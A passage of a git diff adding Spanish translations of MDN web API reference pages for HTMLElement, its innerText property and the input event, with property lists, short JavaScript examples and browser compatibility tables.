+<h2 id="Ver_también" name="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Método DOM {{domxref("HTMLElement.blur()")}} para quitar el foco sobre un elemento.</li>
+ <li>{{ domxref("document.activeElement") }} para saber cuál es el elemento enfocado actualmente.</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/index.html b/files/es/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..d27114fccc
--- /dev/null
+++ b/files/es/web/api/htmlelement/index.html
@@ -0,0 +1,402 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+  - API
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div></div>
+
+<div>La interfaz <strong><code>HTMLElement</code></strong> representa cualquier elemento <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>. Algunos elementos implementan directamente esta interfaz, otros la implementan a través de una interfaz que hereda de ella.</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Hereda propiedades de su padre, {{domxref("Element")}}, y los implementalo de  {{domxref("GlobalEventHandlers")}} y {{domxref("TouchEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que representa la clave de acceso al elemento.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un {{domxref("DOMString")}} que contiene la clave asignada del elemento.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>Es un  {{domxref("DOMString")}}, donde el valor <code>"true"</code> significa que el elemento es editable y si el valor es <code>"false"</code> significa que no lo es.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un {{domxref("Boolean")}} si el contenido del elemento puede ser editado.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}}</dt>
+ <dd>Es un  {{domxref("HTMLMenuElement")}} que representa el menú contextual asociado al elemento. Puede ser <code>null</code></dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un {{domxref("DOMStringMap")}} que permite el acceso de lectura y escritura de los atributos personalizados del elemento (<code>data-*</code>) .</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>Es un {{domxref("DOMString")}}, que refleja el atributo global <code>dir</code>, representando la direccionalidad del elemento. Los posibles valores son <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>Es un {{jsxref("Boolean")}} que indica si el elemento puede ser arrastrado..</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd>Devuelve un {{domxref("DOMSettableTokenList")}} que refleja el atributo global <code>dropzone</code> y describe el comportamiento del elemento con respecto a una operación de soltar.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>Es un {{jsxref("Boolean")}} que indica si el elemento está oculto.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>Es un {{jsxref("Boolean")}}...</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>Es un {{domxref("DOMString")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>Devuelve un {{jsxref("Object")}}…</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>Es un {{domxref("DOMString")}} que representa el lenguaje de los atributos del elemento, texto, y contenido del elemento.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un <code>double</code> que contiene la altura de, en relación al diseño (<code>layout)</code>.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Devuelve un <code>double</code>, que representa la distancia desde el borde izquierdo del elemento hasta el borde izquierdo del elemento padre <code>offsetParent</code>'.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("HTMLPropertiesCollection")}}…</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it hasn't an effect on all of them.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>La mayoria de las propiedades de los eventos, del formulario <code>onXYZ</code>, estan definidas en las interfaces {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implementadas por <code>HTMLElement</code>. Otras pocas son especificas de <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchend")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Removes keyboard focus from the currently focused element.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>Sends a mouse click event to the element.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Makes the element the current keyboard focus.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>Makes the spell checker runs on the element.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br>
+    Added the following method: <code>forceSpellcheck()</code>.<br>
+    Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br>
+    Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName('DOM2 HTML')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>17.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.10</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoDesktop("8.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}{{WebkitBug(72715)}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}(<a class="external" href="http://trac.webkit.org/changeset/107483">535.24</a>)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>9.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable", "contentEditable")}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.5</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck", "spellcheck")}}</td>
+   <td>{{CompatGeckoDesktop("1.8.1")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.style", "style")}}</td>
+   <td>{{CompatVersionUnknown}} (returns a {{domxref("CSS2Properties")}}, rather than a {{domxref("CSSStyleDeclaration")}})</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck", "forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>8.0</td>
+   <td>11</td>
+   <td>11.10</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable", "draggable")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone", "dropzone")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>12.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft", "offsetLeft")}}, {{domxref("HTMLElement.offsetTop", "offsetTop")}}, {{domxref("HTMLElement.offsetParent", "offsetParent")}}, {{domxref("HTMLElement.offsetHeight", "offsetHeight")}} and {{domxref("HTMLElement.offsetWidth", "offsetWidth")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate", "translate")}} {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope", "itemScope")}}, {{domxref("HTMLElement.itemType", "itemType")}}, {{domxref("HTMLElement.itemRef", "itemRef")}}, {{domxref("HTMLElement.itemId", "itemId")}}, {{domxref("HTMLElement.itemProp", "itemProp")}}, and {{domxref("HTMLElement.itemValue", "itemValue")}} {{experimental_inline}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.60<br>
+    (Removed in Opera 15)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties", "properties")}} {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.ontouchstart")}}, {{domxref("HTMLElement.ontouchend")}}, {{domxref("HTMLElement.ontouchmove")}}, {{domxref("HTMLElement.ontouchenter")}}, {{domxref("HTMLElement.ontouchleave")}}, and {{domxref("HTMLElement.ontouchcancel")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatGeckoMobile("1.0")}}</p>
+   </td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+   <td rowspan="7">{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey", "accessKey")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel", "accessKeyLabel")}}</td>
+   <td>{{CompatGeckoMobile("8.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()", "blur()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()", "click()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset", "dataset")}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()", "focus()")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.oncopy")}}, {{domxref("HTMLElement.oncut")}}, and {{domxref("HTMLElement.onpaste")}} {{Non-standard_inline}}</td>
+   <td>{{CompatGeckoMobile("1.9")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/innertext/index.html b/files/es/web/api/htmlelement/innertext/index.html
new file mode 100644
index 0000000000..403f3c0bc1
--- /dev/null
+++ b/files/es/web/api/htmlelement/innertext/index.html
@@ -0,0 +1,84 @@
+---
+title: HTMLElement.innerText
+slug: Web/API/HTMLElement/innerText
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">The <code><strong>innerText</strong></code> property of the {{domxref("HTMLElement")}} interface represents the "rendered" text content of a node and its descendants.</span> As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> <code>innerText</code> is easily confused with {{domxref("Node.textContent")}}, but there are important differences between the two. Basically, <code>innerText</code> is aware of the rendered appearance of text, while <code>textContent</code> is not.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate">const <em>renderedText</em> = <em>htmlElement</em>.innerText
+<em>htmlElement</em>.innerText = <em>string</em></pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("DOMString")}} representing the rendered text content of an element. If the element itself is not <a href="https://html.spec.whatwg.org/multipage/rendering.html#being-rendered">being rendered</a> (e.g detached from the document or is hidden from view), the returned value is the same as the {{domxref("Node.textContent")}} property.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>This example compares <code>innerText</code> with {{domxref("Node.textContent")}}. Note how <code>innerText</code> is aware of things like {{htmlElement("br")}} elements, and ignores hidden elements.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;h3&gt;Source element:&lt;/h3&gt;
+&lt;p id="source"&gt;
+  &lt;style&gt;#source { color: red; }&lt;/style&gt;
+Take a look at&lt;br&gt;how this text&lt;br&gt;is interpreted
+       below.
+  &lt;span style="display:none"&gt;HIDDEN TEXT&lt;/span&gt;
+&lt;/p&gt;
+&lt;h3&gt;Result of textContent:&lt;/h3&gt;
+&lt;textarea id="textContentOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;
+&lt;h3&gt;Result of innerText:&lt;/h3&gt;
+&lt;textarea id="innerTextOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", 700, 450)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Introduced, based on the <a href="https://github.com/rocallahan/innerText-spec">draft of the innerText specification</a>. See <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> and <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> for history.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.innerText")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlelement/input_event/index.html b/files/es/web/api/htmlelement/input_event/index.html
new file mode 100644
index 0000000000..ab082e4a06
--- /dev/null
+++ b/files/es/web/api/htmlelement/input_event/index.html
@@ -0,0 +1,329 @@
+---
+title: Evento input
+slug: Web/API/HTMLElement/input_event
+tags:
+  - DOM
+  - Evento
+  - InputEvent
+  - Referencia
+translation_of: Web/API/HTMLElement/input_event
+---
+<div>{{APIRef}}</div>
+
+<p>El evento <strong><code>input</code></strong> se dispara cuando el valor (<code>value</code>) de un elemento {{HTMLElement("input")}}, {{HTMLElement("select")}}, o {{HTMLElement("textarea")}} ha sido cambiado. </p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Burbujas</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Cancelable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz</th>
+   <td>{{DOMxRef("InputEvent")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo</th>
+   <td>{{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Acción por defecto</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Propiedad del manejador del evento</th>
+   <td>{{domxref("GlobalEventHandlers.oninput")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El evento también aplica a los elementos con la propiedad {{domxref("HTMLElement.contentEditable", "contenteditable")}} habilidado, y para cualquier otro elemento cuando la propiedad {{domxref("Document.designMode", "designMode")}} esta encendida. En el caso de un <code>contenteditable</code> y <code>designMode</code>, el objetivo del evento es el  the event target is the <em>editing host</em>. Si estas propiedades aplian a múltiples elementos, el host de edición es el elemento ancestro más cercano cuyo padre no es editable.</p>
+
+<p>Para elementos <code>&lt;input&gt;</code> con <code>type=checkbox</code> o <code>type=radio</code>, el evento <code>input</code> debería disparar cuando el usuario alterna el control, por <a href="https://html.spec.whatwg.org/multipage/input.html#the-input-element:event-input-2">la especificación HTML5</a>. Sin embargo, históricamente no siempre es el caso. Revise la compatibilidad o use el evento {{event("change")}} en su lugar para estos tipos.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> A diferencia de <code>input</code>, el evento {{event("change")}} no es disparado necesariamente por cada alteración al valor (<code>value</code>) de un elemento.</p>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Este ejemplo registra el valor siempre que se cambia el valor del elemento {{HtmlElement("input")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input placeholder="Ingrese algún texto" name="nombre"/&gt;
+&lt;p id="valores"&gt;&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const input = document.querySelector('input');
+const log = document.getElementById('valores');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.srcElement.value;
+}</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples")}}</p>
+
+<p>(Funciona en la versión en inglés)</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', "#event-type-input", "input event")}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.input")}}</p>
+
+<div class="hidden">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>9<sup>[2][3]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>immediately after <code>compositionupdate</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("12")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>on <code>contenteditable</code> element</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>when <code>designMode</code> is <code>"on"</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
